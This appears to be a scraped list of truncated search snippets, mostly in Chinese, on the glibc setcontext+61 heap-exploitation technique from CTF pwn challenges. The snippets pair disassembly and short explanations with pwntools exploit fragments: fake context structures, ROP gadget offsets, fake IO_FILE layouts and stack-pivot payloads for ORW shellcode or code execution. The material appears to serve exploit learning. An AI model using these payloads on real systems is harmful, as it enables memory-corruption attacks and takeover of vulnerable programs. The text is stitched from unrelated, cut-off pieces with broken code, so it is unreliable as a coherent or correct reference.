<setcontext+87>:movrcx,QWORDPTR[rdi+0xa8] <setcontext+94>:pushrcx<setcontext+95>:movrsi,QWORDPTR[rdi+0x70] <setcontext+99>:movrdx,QWORDPTR[rdi+0x88] <setcontext+106>:movrcx,QWORDPTR[rdi+0x98] <setcontext+113>:movr8,QWORDPTR[rdi+0x28] <setcontext+117>:movr9,QWORDPTR[rdi+0x30...
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 我们就可以实现控制rdx,并且call对应的函数,这里一般为setcontext + 61,但是这篇文章是将其call mprotect函数,这样就可以增加可执行权限,之后直接执行orw的shellcode就可以了,原理...
通过largebin attack劫持这段为可控堆块,在上面布置任何我们想写的东西,malloc对应位置size大小就能够申请出来并且改写了(这里的偏移要调一调,不过也可以拿exp的模板直接来用,也就是) 通过改稳定的跳表sync为setcontext+61(因为setcontext会将[rdx+0xa0]设置为rsp,将...
fake_context =b'\x00'*0x20fake_context+=p64(setcontext+61) fake_context =fake_context.ljust(0x68,b'\x00') fake_context+=p64(flag_str) fake_context+=p64(0) fake_context+=p64(0) fake_context =fake_context.ljust(0xA0,b'\x00') ...
setcontext+53是打pwn中常用的技术,主要是依靠程序中如下代码段来实现寄存器赋值。在2.31后变成了setcontext+61,主要控制的寄存器也从rdi变成了rdx。setcontext+53是执行orw的重要攻击手段,由于属于常见方式就不再赘述。 setcontext+53作为常用的攻击手段,在版本迭代中主要参数已经从rdi修复成rdx,rdx是一个函数的第3个...
setcontext_61 = libc_base + libc.sym['setcontext'] + 61 _IO_stdfile_2_lock = libc_base + 0x1e3660 pop_rdi_ret = libc_base + 0x0000000000028a55 pop_rsi_ret = libc_base + 0x000000000002a4cf pop_rdx_ret = libc_base + 0x00000000000c7f32 ...
# 0x18: libc.sym['setcontext'] +61,# 0x20: fake_IO_addr, # 0x20 > 0x18# 0x68: 0, # rdi #read fd# 0x70: fake_IO_addr, # rsi #read buf# 0x88: fake_IO_addr + 0x8, # rdx #read size# 0xa0: fake_IO_addr,# 0xa8: libc.sym['read'], # RCE2 ogg# 0xd8: libc....
LI $5, 2nd argument ; AKA $A1 LI $6, 3rd argument ; AKA $A2 LI $7, 4th argument ; AKA $A3 ;pass 5th, 6th argument, etc, in stack (if needed LW temp_reg, address of function JALR temp_reg 0x04 深度拓展 gdb原理 https://mp.weixin.qq.com/s/teERWh9IRMuO6tieOZNNng ...
payload = p64(libc_base + libc.sym['setcontext'] + 61) + p64(0) payload+= p64(heap_base + 0x1e10 + 0x58) + p64(pop_rdi_ret + 1) payload+= p64(0)*6 payload+= p64(heap_base + 0x1e10 - 0x68) payload+= p64(pop_rdi_ret) + p64(0) ...
(io,'b *setcontext+61') x = _IO_2_1_stdout_ pay = b'\x00' * 0x90 + p64(0xfbad1800) + p64(0) * 6 + p64(x) + p64(x + 0x130) add(0x108,pay) pause() fake_IO_addr = _IO_2_1_stdout_ pay = flat({ 0x00: 0, 0x18: libc.sym['setcontext'] + 61, 0x20: ...